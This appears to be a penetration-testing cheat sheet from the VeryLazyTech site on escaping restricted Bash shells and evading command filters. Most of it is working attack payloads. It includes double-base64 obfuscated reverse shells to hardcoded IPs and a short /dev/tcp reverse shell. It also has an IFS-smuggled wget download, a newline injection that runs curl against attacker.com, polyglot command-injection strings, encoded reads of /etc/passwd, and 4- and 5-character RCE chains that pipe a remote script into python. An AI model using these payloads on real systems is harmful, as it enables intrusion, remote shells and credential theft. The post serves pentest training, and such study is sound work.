# Bypassing Bash Restrictions - Rbash

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/l/Membership)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

In many penetration testing scenarios, attackers encounter systems with restricted shell environments, such as restricted Bash (`rbash`). These restrictions prevent the use of certain commands, changing directories, or accessing specific binaries, significantly limiting what a pentester can do. However, these restrictions can often be bypassed using clever techniques. This article explores practical methods for bypassing Bash restrictions, focusing on techniques commonly used by pentesters. We’ll discuss why each technique works, how it is useful, and provide commands to try in your pentesting efforts.

***

## 1. **Escape from Restricted Shells**

Some environments impose restricted shells (`rbash`, `bash --restricted`) where commands like changing directories or executing certain binaries are blocked.

**Steps to Escape:**

* **Method 1: Using `bash` command.**

  ```bash
  bash
  ```

  Sometimes, restricted shells only block certain commands but don’t block launching a regular shell like `bash`.
* **Method 2: Using `sh`.**

  ```bash
  /bin/sh
  ```

  On some systems, the `sh` command might not be restricted even if `bash` is.
* **Method 3: Using `vi` or `vim`.** In restricted environments, text editors like `vi` or `vim` may still be accessible. You can launch a shell from within `vim`:

  Open `vim`:

  ```bash
  vi
  ```

  Press `:` to open the command prompt in `vim`, then type:

  ```bash
  :!bash
  ```

  This will execute `bash` and give you an unrestricted shell.
* **Method 4: Using `python`.** Many environments restrict shell commands but allow certain scripting languages:

  <pre class="language-bash" data-full-width="false"><code class="lang-bash">python -c 'import pty; pty.spawn("/bin/bash")'
  python3 -c 'import pty; pty.spawn("/bin/bash")'
  </code></pre>

  This will spawn an unrestricted bash shell using Python.
* **Method 5: Using script.** The `script` command is generally used to record terminal sessions, but it can be exploited to spawn an unrestricted shell. This is useful in environments where certain commands are restricted or where shell capabilities are limited:&#x20;

  <pre class="language-bash" data-full-width="false"><code class="lang-bash">/usr/bin/script -qc /bin/bash /dev/null
  </code></pre>

## 2. **Bypassing Path Restrictions with Binary Substitution**

**What it does:** Some restricted shells may limit which commands can be run by controlling access to binaries. However, you can bypass these restrictions by substituting characters in binary names or using wildcards.

**Techniques:**

* **Question Mark Substitution**: Replace one character in the binary name with a `?`.

  ```bash
  /usr/bin/p?ng  # Substitute ping command
  nma? -p 80 localhost  # Substitute nmap
  ```
* **Wildcard Substitution**: Use `*` in place of one or more characters.

  ```bash
  /usr/bin/who*mi  # Executes whoami
  ```
* **\[Character Substitution]**: Use `[chars]` to bypass restrictions by specifying multiple possibilities.

  ```bash
  /usr/bin/n[c] # Substitute nc
  ```

**Why it’s useful:** This trick is simple and often works because restricted shells don't always sanitize the input or enforce binary restrictions effectively. For a pentester, this can be an easy win for executing basic commands.

***

## 3. **Reverse Shells and Encoding**

**What it does:** Reverse shells allow attackers to gain control of a remote machine by sending a shell back to their own system. One effective method to bypass restrictions or detection is by using encoding techniques, like base64 or hexadecimal encoding.

**Techniques:**

* **Double Base64 Encoding**: Useful to evade bad character filtering.

  ```bash
  echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
  ```
* **Short Reverse Shell (Trick from Dikline)**:

  ```bash
  (sh)0>/dev/tcp/10.10.10.10/443
  exec >&0
  ```

**Why it’s useful:** These methods can often bypass network defenses, particularly when restrictions on characters or commands are present. Encoding techniques are powerful for evading firewalls and intrusion detection systems, making them crucial for pentesters.

***

## 4. **IFS (Internal Field Separator) Exploitation**

**What it does:** The `IFS` variable determines how Bash interprets spaces and other delimiters. By changing its value, you can bypass restrictions that rely on space separation.

**Techniques:**

* **Simple IFS Bypass**: Replace spaces with `$IFS`.

  ```bash
  cat${IFS}/etc/passwd  # Bypasses space restrictions to read passwd file
  ```
* **More Complex IFS Substitution**:

  ```bash
  IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
  ```

**Why it’s useful:** Altering `IFS` allows pentesters to manipulate how commands are interpreted, bypassing typical command restrictions in environments that prevent the use of spaces or special characters.

***

## 5. **Uninitialized Variables and String Concatenation**

**What it does:** Uninitialized variables in Bash default to null, allowing clever concatenation of strings to bypass command restrictions.

**Techniques:**

* **Uninitialized Variables**:

  ```bash
  p${u}i${u}n${u}g  # Executes ping by using null variables
  ```
* **String Concatenation with History**:

  ```bash
  !-1!-2  # Combines previous commands to execute "whoami"
  ```

**Why it’s useful:** This technique is a great way to build valid commands without directly typing them, which can help evade basic command restrictions.

***

## 6. **Bypassing Forbidden Spaces**

**What it does:** Some environments restrict the use of spaces, preventing typical command execution. You can bypass this by using alternative methods of splitting or concatenating arguments.

**Techniques:**

* **Using Form Substitution**:

  ```bash
  {cat,lol.txt}  # Executes 'cat lol.txt'
  ```
* **Using Tabs Instead of Spaces**:

  ```bash
  echo "ls\x09-l" | bash  # Executes "ls -l" using a tab
  ```

**Why it’s useful:** This method helps in systems that prevent space characters, which could otherwise render typical shell commands unusable.

***

## 7. **Hexadecimal Encoding**

**What it does:** Encoding commands in hexadecimal allows them to be obfuscated, bypassing filters and restrictions on certain keywords.

**Techniques:**

* **Hexadecimal Encoded Command**:

  ```bash
  echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"  # Decodes to "/etc/passwd"
  ```
* **Assigning Hex to Variables**:

  ```bash
  abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
  ```

**Why it’s useful:** This technique is powerful when pentesters face systems that filter or block common command names. It provides a way to obscure commands in a way that bypasses detection.

***

## 8. **Bypassing Regex-Based Restrictions**

**What it does:** Some environments enforce regular expressions to block or filter commands. However, these can often be bypassed by inserting unexpected characters like newline or escape sequences.

**Techniques:**

* **Injecting New Line Characters**:

  ```bash
  1%0a`curl http://attacker.com`  # Bypasses regex to inject newline and execute curl
  ```

**Why it’s useful:** Regular expression filters are often incomplete, and adding newline characters or other escape sequences can easily fool the filters.

***

## 9. **Using Builtins for Command Execution**

**What it does:** Even in highly restricted environments, some built-in shell functions may still be available. Pentesters can leverage these to execute commands when external binaries are blocked.

**Techniques:**

* **List Shell Builtins**:

  ```bash
  declare builtins  # Check available built-in functions
  ```
* **Executing Commands with Builtins**:

  ```bash
  SHELL=/bin/bash; PATH=/bin; /bin/ls  # Execute ls even if restricted
  ```

**Why it’s useful:** Many restricted shells still allow some built-in functions, making this a good last-resort method when external binaries are blocked.

***

## 10. **Time-Based Data Exfiltration**

**What it does:** When unable to directly execute commands or communicate, you can exfiltrate data based on timing responses. For example, adjusting response times based on the data you want to leak.

**Techniques:**

* **Time-Based Data Leak**:

  ```bash
  time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
  ```

**Why it’s useful:** This technique helps in scenarios where direct data exfiltration is not possible but timing variations can be used to infer data.

***

## Bypass Linux Restrictions <a href="#bypass-linux-restrictions" id="bypass-linux-restrictions"></a>

#### Reverse Shell <a href="#reverse-shell" id="reverse-shell"></a>

```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```

#### Short Rev shell <a href="#short-rev-shell" id="short-rev-shell"></a>

```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```

#### Bypass Paths and forbidden words <a href="#bypass-paths-and-forbidden-words" id="bypass-paths-and-forbidden-words"></a>

```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64

# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```

#### Bypass forbidden spaces <a href="#bypass-forbidden-spaces" id="bypass-forbidden-spaces"></a>

```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```

#### Bypass backslash and slash <a href="#bypass-backslash-and-slash" id="bypass-backslash-and-slash"></a>

```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

#### Bypass pipes <a href="#bypass-pipes" id="bypass-pipes"></a>

```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```

#### Bypass with hex encoding <a href="#bypass-with-hex-encoding" id="bypass-with-hex-encoding"></a>

```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```

#### Bypass IPs <a href="#bypass-ips" id="bypass-ips"></a>

```bash
# Decimal IPs
127.0.0.1 == 2130706433
```

#### Time based data exfiltration <a href="#time-based-data-exfiltration" id="time-based-data-exfiltration"></a>

```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```

#### Getting chars from Env Variables <a href="#getting-chars-from-env-variables" id="getting-chars-from-env-variables"></a>

```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```

#### DNS data exfiltration <a href="#dns-data-exfiltration" id="dns-data-exfiltration"></a>

You could use **burpcollab** or [**pingb**](http://pingb.in/) for example.

#### Builtins <a href="#builtins" id="builtins"></a>

In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:

```bash
# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```

#### Polyglot command injection <a href="#polyglot-command-injection" id="polyglot-command-injection"></a>

```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```

#### Bypass potential regexes <a href="#bypass-potential-regexes" id="bypass-potential-regexes"></a>

```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```

#### Bashfuscator <a href="#bashfuscator" id="bashfuscator"></a>

```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```

#### RCE with 5 chars <a href="#rce-with-5-chars" id="rce-with-5-chars"></a>

```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```

#### RCE with 4 chars <a href="#rce-with-4-chars" id="rce-with-4-chars"></a>

```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'
```
